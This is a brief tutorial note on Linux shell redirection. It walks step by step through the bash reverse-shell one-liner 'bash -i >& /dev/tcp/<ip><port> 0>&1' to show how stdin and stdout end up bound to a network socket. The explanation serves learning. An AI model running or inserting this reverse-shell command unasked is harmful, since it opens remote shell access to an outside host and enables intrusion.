Redirection in Linux
Redirections in Linux can be interpreted as following:
- Redirections are run from left to right.
>is similar to=, which is an assignment&is close to$in bash, which indicates variables
For an example in netcat,
bash -i >& /dev/tcp/<ip><port> 0>&1
Here are three parts:
bash -iwhich is the command to launch new shell>& /dev/tcp/<ip><port>, which redirects the stdout of 1 to/dev/tcp/<ip><port>as the stdin0>&1redirects the stdin as the stdout
The process steps are shown as following:
Initial status of bash -i
0=stdin
1=stdout
after >& /dev/tcp/<ip><port>
0=stdin
1=(stdin of) /dev/tcp/<ip><port> (the stdin is default)
after 0>&1
0=(stdout of) /dev/tcp/<ip><port>
1=(stdin of) /dev/tcp/<ip><port>